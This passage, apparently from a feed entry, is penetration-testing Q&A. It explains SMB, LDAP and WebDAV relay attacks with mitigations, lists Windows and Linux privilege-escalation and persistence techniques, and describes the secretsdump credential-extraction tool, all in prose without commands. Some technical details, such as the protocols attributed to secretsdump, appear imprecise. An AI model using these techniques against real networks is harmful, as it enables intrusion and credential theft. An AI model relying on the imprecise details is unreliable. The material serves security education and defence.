authenticate to the attacker using the victim user’s credentials. The attacker can then use these credentials to access the network as the victim user. To mitigate the risk of WebDAV-based attacks, organizations should take the following steps: Disable WebDAV: Unless it is essential to business operations, WebDAV should be disabled on Windows servers to eliminate the risk of exploitation. Use strong authentication: If WebDAV is necessary, ensure that strong authentication methods, such as multi-factor authentication, are in place to reduce the risk of credential theft. Restrict access: Limit access to the WebDAV service to only those users who need it, and ensure that users are only granted the minimum permissions necessary to perform their job functions. Use security tools: Use security tools, such as intrusion detection systems and endpoint protection, to detect and prevent WebDAV-based attacks. Keep systems up-to-date: Ensure that all systems and software are patched with the latest security updates to address known vulnerabilities. What is SMB Relay attack and how can you prevent SMB Relay attacks in network pentesting? SMB (Server Message Block) Relay attack is a type of attack that can be used to gain unauthorized access to a Windows network. In an SMB Relay attack, an attacker intercepts authentication attempts made by a victim user to access network resources, and then relays the authentication request to a target server in order to gain access to the network. To prevent SMB Relay attacks in network pentesting, organizations should consider implementing the following best practices: Disable SMBv1: SMBv1 is an outdated protocol that is susceptible to SMB Relay attacks. Organizations should disable SMBv1 on all systems and migrate to more secure protocols, such as SMBv2 or SMBv3. Enable SMB signing: SMB signing provides a mechanism for ensuring the integrity and authenticity of SMB packets, which can help prevent SMB Relay attacks. Organizations should ensure that SMB signing is enabled on all systems. Use strong authentication: Use strong authentication methods, such as multi-factor authentication, to make it more difficult for attackers to gain unauthorized access. Monitor for suspicious activity: Monitor systems and networks for suspicious activity, such as unusual authentication requests or access attempts, to detect and respond to potential SMB Relay attacks. Conduct regular security assessments: Conduct regular security assessments, including penetration testing and vulnerability scanning, to identify and address vulnerabilities in the organization’s environment. Implement network segmentation: Segment the network to minimize the attack surface and prevent attackers from moving laterally through the network in the event of a successful SMB Relay attack. Use network security tools: Use network security tools, such as firewalls, intrusion detection and prevention systems, and security information and event management (SIEM) systems, to detect and prevent SMB Relay attacks. What is LDAP Relay attack and how can you prevent LDAP Relay attacks in network pentesting? LDAP (Lightweight Directory Access Protocol) Relay attack is a type of attack that can be used to gain unauthorized access to a Windows network. In an LDAP Relay attack, an attacker intercepts authentication attempts made by a victim user to access network resources, and then relays the authentication request to a target server in order to gain access to the network. To prevent LDAP Relay attacks in network pentesting, organizations should consider implementing the following best practices: Use LDAP over SSL (LDAPS): LDAPS provides a mechanism for securing LDAP traffic, which can help prevent LDAP Relay attacks. Organizations should ensure that all LDAP traffic is encrypted using LDAPS. Use strong authentication: Use strong authentication methods, such as multi-factor authentication, to make it more difficult for attackers to gain unauthorized access. Implement network segmentation: Segment the network to minimize the attack surface and prevent attackers from moving laterally through the network in the event of a successful LDAP Relay attack. Monitor for suspicious activity: Monitor systems and networks for suspicious activity, such as unusual authentication requests or access attempts, to detect and respond to potential LDAP Relay attacks. Conduct regular security assessments: Conduct regular security assessments, including penetration testing and vulnerability scanning, to identify and address vulnerabilities in the organization’s environment. Use network security tools: Use network security tools, such as firewalls, intrusion detection and prevention systems, and security information and event management (SIEM) systems, to detect and prevent LDAP Relay attacks. Disable NTLMv1: NTLMv1 is an outdated authentication protocol that is susceptible to LDAP Relay attacks. Organizations should disable NTLMv1 and migrate to more secure authentication protocols, such as Kerberos or NTLMv2. Implement secure coding practices: Developers should use secure coding practices to prevent the exploitation of LDAP Relay vulnerabilities, such as input validation and secure authentication mechanisms. How does the Protected Users Group protect against authentication attacks in an Active Directory environment? The Protected Users Group is a security group in Active Directory that is designed to protect against various types of authentication attacks, such as pass-the-hash (PtH) attacks and Golden Ticket attacks. Members of the Protected Users Group have the following security protections: Restricted Kerberos delegation: Members of the Protected Users Group cannot be used as delegation targets in Kerberos authentication, which helps prevent attackers from using stolen credentials to move laterally through the network. No NTLM authentication: Members of the Protected Users Group cannot use NTLM authentication, which is an older and less secure authentication protocol that is susceptible to various types of attacks. AES encryption: Members of the Protected Users Group must use AES encryption for all Kerberos tickets, which provides stronger encryption than other encryption algorithms. Short ticket lifetime: Members of the Protected Users Group have a shorter ticket lifetime than non-protected users, which helps prevent attackers from using stolen tickets for extended periods of time. No clear-text passwords: Members of the Protected Users Group cannot have their passwords stored in clear text format in memory, which helps prevent attackers from extracting passwords from memory. Overall, the Protected Users Group provides enhanced security protections for sensitive accounts in an Active Directory environment and can help protect against various types of authentication attacks. What are some common methods of privilege escalation for Windows hosts? There are several common methods of privilege escalation for Windows hosts. Here are some of them: DLL Hijacking: An attacker can replace a legitimate DLL file with a malicious one and then wait for the system to load it, which can allow them to execute arbitrary code with elevated privileges. Exploiting Unquoted Service Paths: Windows services are often configured with unquoted paths that can be exploited to run arbitrary code with elevated privileges. Registry Key Hijacking: An attacker can hijack registry keys used by Windows services to execute arbitrary code with elevated privileges. Exploiting Weak File Permissions: An attacker can exploit weak file permissions to gain access to sensitive files, which can then be used to escalate privileges. Exploiting Weak Service Permissions: An attacker can exploit weak service permissions to modify service settings and execute arbitrary code with elevated privileges. Exploiting Kernel Vulnerabilities: An attacker can exploit kernel vulnerabilities to execute arbitrary code with kernel-level privileges. Exploiting Weak Credentials: An attacker can exploit weak or default credentials to gain access to privileged accounts, which can then be used to escalate privileges. Exploiting Windows Management Instrumentation (WMI): An attacker can use WMI to execute code with elevated privileges, which can then be used to escalate privileges. Exploiting Task Scheduler: An attacker can exploit Task Scheduler to execute arbitrary code with elevated privileges. Overall, these methods highlight the importance of maintaining good security practices, such as keeping systems up to date, implementing strong passwords and user permissions, and regularly performing security assessments and penetration testing to identify and address vulnerabilities. What are some common methods of privilege escalation for Linux hosts? There are several common methods of privilege escalation for Linux hosts. Here are some of them: Exploiting Weak File Permissions: An attacker can exploit weak file permissions to gain access to sensitive files, which can then be used to escalate privileges. Exploiting Weak Service Permissions: An attacker can exploit weak service permissions to modify service settings and execute arbitrary code with elevated privileges. Exploiting SUID Binaries: SUID (Set User ID) binaries can be used to escalate privileges, as they run with the permissions of the file owner rather than the user executing the file. Exploiting Kernel Vulnerabilities: An attacker can exploit kernel vulnerabilities to execute arbitrary code with kernel-level privileges. Exploiting Weak Credentials: An attacker can exploit weak or default credentials to gain access to privileged accounts, which can then be used to escalate privileges. Exploiting Insecure Configurations: Insecure configurations, such as weak sudo policies or misconfigured file permissions, can be exploited to escalate privileges. Exploiting Buffer Overflows: Buffer overflows can be used to exploit vulnerabilities in software and execute arbitrary code with elevated privileges. Exploiting Symlinks: Symlinks can be used to exploit vulnerabilities in software and execute arbitrary code with elevated privileges. Overall, these methods highlight the importance of maintaining good security practices, such as keeping systems up to date, implementing strong passwords and user permissions, and regularly performing security assessments and penetration testing to identify and address vulnerabilities. What are some common methods of maintaining persistence on Linux hosts? There are several common methods of maintaining persistence on Linux hosts. Here are some of them: Cron Jobs: An attacker can use a cron job to execute malicious code at regular intervals, allowing them to maintain access to the system. Backdoors: An attacker can install a backdoor, such as a hidden user account, to allow them to access the system even after they have been discovered and removed. SUID Binaries: SUID (Set User ID) binaries can be used to maintain persistence, as they run with the permissions of the file owner rather than the user executing the file. SSH Keys: An attacker can add their own SSH key to the authorized_keys file, allowing them to maintain access to the system even if the original password is changed. Kernel Modules: An attacker can install a malicious kernel module, which can be used to maintain access to the system even after a reboot. Hidden Services: An attacker can install a hidden service, such as a network listener, to allow them to maintain access to the system. Rootkits: An attacker can install a rootkit, which can be used to hide malicious activity and maintain access to the system. Overall, these methods highlight the importance of maintaining good security practices, such as monitoring system logs and file integrity, regularly performing security assessments and penetration testing, and implementing strong passwords and user permissions to prevent unauthorized access to the system. What is secretsdump, and how does it work? Secretsdump is a command-line tool that is used for extracting plaintext passwords, hashes, and other sensitive information from the Security Account Manager (SAM) database and Active Directory (AD) domain controllers. It works by leveraging the SAMR and LSAD protocols to connect to the SAM database and Active Directory domain controllers, respectively, and extracting the relevant information. When used against a SAM database, secretsdump can extract password hashes for local user accounts, including those that are disabled, as well as the machine account password hash. It can also extract cached credentials and LSA secrets, which can be used to escalate privileges or move laterally within the network. When used against an Active Directory domain controller, secretsdump can extract the NTLM and Kerberos authentication hashes for all domain user accounts, as well as cached credentials and other sensitive information. One of the key advantages of using secretsdump is that it is a stealthy way of extracting sensitive information from target systems, as it does not require any files to be written to disk or any system modifications to be made. However, it should be noted that the use of secretsdump on systems that are not owned or authorized for testing can be illegal and may result in serious legal consequences.</summary></entry></feed>